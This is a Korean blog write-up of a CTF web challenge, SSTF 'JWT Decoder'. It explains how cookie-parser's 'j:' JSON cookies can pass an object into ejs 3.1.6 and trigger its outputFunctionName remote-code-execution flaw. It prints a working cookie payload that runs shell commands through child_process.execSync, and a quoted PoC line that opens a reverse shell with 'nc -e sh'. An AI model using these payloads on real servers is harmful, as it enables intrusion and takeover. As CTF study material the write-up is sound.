티스토리 뷰

보안/CTF

[SSTF] [Web] JWT Decoder Writeup(문제풀이)

돔돔이부하 2022. 8. 27. 00:01
728x90
반응형

문제 첫 페이지

문제를 처음 들어가보면 위와 같이 JWT 토큰을 입력폼에 입력하구서 Apply 버튼을 누르면 delimiter 를 기준으로 base64 디코딩 후 JSON.stringify 해서 보여주는 기능을 가지고 있습니다. Signareture는 그냥 그대로 출력합니다.

 

주어진 코드를 보면 아래와 같습니다.

const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;

app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    let rawJwt = req.cookies.jwt || {};

    try {
        let jwtPart = rawJwt.split('.');

        let jwtHeader = jwtPart[0];
        jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
        jwtHeader = JSON.parse(jwtHeader);
        jwtHeader = JSON.stringify(jwtHeader, null, 4);
        rawJwt = {
            header: jwtHeader
        }

        let jwtBody = jwtPart[1];
        jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
        jwtBody = JSON.parse(jwtBody);
        jwtBody = JSON.stringify(jwtBody, null, 4);
        rawJwt.body = jwtBody;

        let jwtSignature = jwtPart[2];
        rawJwt.signature = jwtSignature;

    } catch(error) {
        if (typeof rawJwt === 'object') {
            console.log(rawJwt);
            rawJwt.error = error;
        } else {
            rawJwt = {
                error: error
            };
        }
    }
    res.render('index', rawJwt);
});

app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something wrong!');
});

app.listen(PORT, (err) => {
    console.log(`Server is Running on Port ${PORT}`);
});

코드 자체는 무척이나 간단하기 그지 없습니다. 다만 특이하게 볼 점으로는 package-lock.json 파일이 있었다는 점과, 그 중에서 ejs 버전이 3.1.6 버전으로 고정되어 있었다는 점입니다.

"ejs": {
  "version": "3.1.6",
  "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.6.tgz",
  "integrity": "sha512-9lt9Zse4hPucPkoP7FHDF0LQAlGyF9JVpnClFLFH3aSSbxmyoqINRpp/9wePWJTUl4KOQwRL72Iw3InHPDkoGw==",
  "requires": {
    "jake": "^10.6.1"
  }
},

 

그리고 하필이면 또 ejs 3.1.6 버전에는 RCE 취약점이 존재했습니다.

https://security.snyk.io/vuln/SNYK-JS-EJS-2803307

 

Snyk Vulnerability Database | Snyk

The most comprehensive, accurate, and timely database for open source vulnerabilities.

security.snyk.io

 

문제는 딱봐도 이 취약점을 이용해서 풀라는 것 같았습니다.

https://security.snyk.io/vuln/SNYK-JS-EJS-2803307

그리고 떡하니 PoC 코드도 존재했습니다. 원리를 간단하게 말하자면 아래 지점에서 간단하게 문자열 연산으로 사용자 입력값이 임의 함수 호출에 사용되는 코드로써 삽입되어지는 것으로 취약점이 발생합니다.

https://github.com/mde/ejs/blob/main/lib/ejs.js#L595

 

GitHub - mde/ejs: Embedded JavaScript templates -- http://ejs.co

Embedded JavaScript templates -- http://ejs.co. Contribute to mde/ejs development by creating an account on GitHub.

github.com

 

결국 위 PoC와 같이 입력하게 되면 실제로 아래와 같이 코드가 삽입되는 결과를 가져다 줍니다.

prepended += ' var x;process.mainModule.require(\'child_process\').execSync(\'nc -e sh 127.0.0.1 1337\');// 뒤에 오는 코드들은 다 주석처리됨'

 

이렇게 위와 같이 임의의 명령어를 삽입하기 위해서는 settings 키값의 view options 키값의 outputFunctionName 키의 값으로 코드가 들어가야 하기 때문에 object 타입으로 받아야 했습니다.

 

하지만 req.cookies.jwt 로 들어오는 사용자 입력이 문자열이 아닌 object 타입이 될 수 있는 방법이 있을까 의문이었습니다. 그러다가 catch 구문을 보게되었습니다.

} catch(error) {
    if (typeof rawJwt === 'object') {
        console.log(rawJwt);
        rawJwt.error = error;
    } else {
        rawJwt = {
            error: error
        };
    }
}

catch 구문의 if 조건문을 보면 rawJwt 값이 object 가 될 수 있다고 설명하는 듯 보였습니다. 그래서 정확히 사용자 입력을 서버에 주어지면 이를 파싱해서 req.cookies 객체에 추가해주는 역할을 해주는 모듈인 cookie-parser 를 분석해볼 필요가 있었습니다.

 

문제에서는 cookie-parser 1.4.6 버전을 사용하고 있었습니다.

"cookie-parser": {
  "version": "1.4.6",
  "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.6.tgz",
  "integrity": "sha512-z3IzaNjdwUC2olLIB5/ITd0/setiaFMLYiZJle7xg5Fe9KWAceil7xszYfHHBtDFYLSgJduS2Ty0P1uJdPDJeA==",
  "requires": {
    "cookie": "0.4.1",
    "cookie-signature": "1.0.6"
  },

찾아보니 최신버전인 것 같았습니다. 그리고 바로 JSON 파싱 부분을 볼 수 있었는데요.

https://github.com/expressjs/cookie-parser/blob/1.4.6/index.js#L84

 

GitHub - expressjs/cookie-parser: Parse HTTP request cookies

Parse HTTP request cookies. Contribute to expressjs/cookie-parser development by creating an account on GitHub.

github.com

해당 부분을 보니 j 라는 key 값으로 object 형태의 값을 주게 되면 object 타입으로 반환해준다는 것 같습니다.

/**
 * Parse JSON cookie string.
 *
 * @param {String} str
 * @return {Object} Parsed object or undefined if not json cookie
 * @public
 */

function JSONCookie (str) {
  if (typeof str !== 'string' || str.substr(0, 2) !== 'j:') {
    return undefined
  }

  try {
    return JSON.parse(str.slice(2))
  } catch (err) {
    return undefined
  }
}

그래서 위에서 요구하는 조건을 만족한 상태에서 RCE 페이로드를 다시 작성하게 되면 최종적으로는 아래와 같습니다.

j:{"settings":{"view options":{"outputFunctionName": "x;__output =process.mainModule.require('child_process').execSync('ls -al / && cat /flag.txt').toString();x"}}};

실행한 명령어들을 화면에 출력해주기 위해서 __ouptput 변수에 넣어주게 해서 전송하면 아래와 같이 나옵니다.

 

cookie-parser 에서 j key를 주면 JSON object로 인식한다는 점이 정말 신기했던 문제였습니다.

 

- 끝 -

728x90
반응형
댓글